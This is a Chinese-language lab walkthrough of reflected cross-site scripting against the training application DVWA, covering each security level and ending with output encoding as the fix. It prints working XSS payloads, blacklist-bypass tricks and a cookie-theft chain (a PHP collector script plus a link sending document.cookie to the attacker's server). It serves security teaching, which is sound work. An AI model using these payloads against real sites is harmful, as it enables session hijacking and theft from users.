XSS:跨站脚本攻击(Cross Site Script),我们之前提到XSS是指攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞。
以下是反射型XSS的一个大致流程:
我们将在实战中去体会这一过程。
DVWA实战:
1. 打开phpStudy或xampp,运行Apach和MySQL;
2. 浏览器进入DVWA主界面,在左侧栏选择DVWA Security安全等级为Low,然后进入XSS (Reflected)。
当我们输入名字KPlayer时,页面返回欢迎信息Hello Kplayer。如果我们输入一段js脚本:
<script>alert(/xss/)</script>
发现成功弹窗,确实存在XSS漏洞。可是有人会说,会有那么傻的人么?自己在输入框里输入脚本弹框给自己?当然没有啦!那如果攻击者发给受害者这样一个链接:
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#
诱惑攻击者点击一下,攻击者的浏览器就会弹出框啦。等等,这个操作似乎有点熟悉,我们在CSRF那一节里好像也是这么个模式,二者有什么不同?
CSRF:跨站请求伪造,是利用cookie或session冒充用户身份向服务器发起请求,从而完成攻击(如转账等),原因在于服务器过分相信用户身份!
反射型XSS:跨站请求攻击,是由于用户过分信任当前链接或网站!而该链接或页面被注入了JS脚本,一旦放任其执行,就不仅仅是弹个恶作剧的窗,可能就会获取用户的cookie信息,然后进行恶意操作。
例如攻击者构造一个cookie.php文件,内容如下:
<?php $cookie = $_GET[‘cookie‘]; file_put_contents(‘cookie.txt‘,$cookie); ?>
放置于攻击者服务器目录下,并发送恶意链接给受害者:
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location=‘http://127.0.0.1/cookie.php?cookie=‘+document.cookie;</script>#
需要用HackBar转换成URL链接:
http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B</script>#
然后我们看到攻击者服务器下的cookie.txt已经载入了用户的cookie:
3. 接下去我们来看看medium等级的反射型XSS,发现上面的方法失效,查看后台源码,我们发现对关键字进行了过滤,本质上是一种黑名单机制。
// Get input $name = str_replace( ‘<script>‘, ‘‘, $_GET[ ‘name‘ ] );
经过前面的磨炼,我们早已不惧怕黑名单了,反而内心窃喜,因为使用黑名单就意味着可能可以绕过,例如采用嵌套写法<scr<script>ipt>或者大小写混合<ScRipt>,就不赘述。
4. 让我们看看high等级的反射型XSS,发现它同样是用黑名单过滤的方式使得嵌套写法和大小写混淆绕过:
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );
这限制了我们使用script脚本,但只要是黑名单,就可能有缺陷,我们可以利用其它标签如img和iframe标签:
<img src=x onerror=alert(xss);>
<iframe onload=alert(1);>
5. 最后来看看impossible等级的反射型XSS,发现它使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素,有效防止反射型XSS攻击。
// Get input $name = htmlspecialchars( $_GET[ ‘name‘ ] );
6. DVWA还有存储型XSS的实战,其实和反射型XSS的练习差不多,这里就不重复叙述了,感兴趣的同学刚好可以去实验下。
实战心得:
XSS(Cross Site Scripting),跨站脚本攻击,是一种允许攻击者在另外一个用户的浏览器中执行恶意代码脚本的脚本注入式攻击,有效的防护方法就是对输出和输入均做到有效的过滤,如HTML编码,JS转义等手段。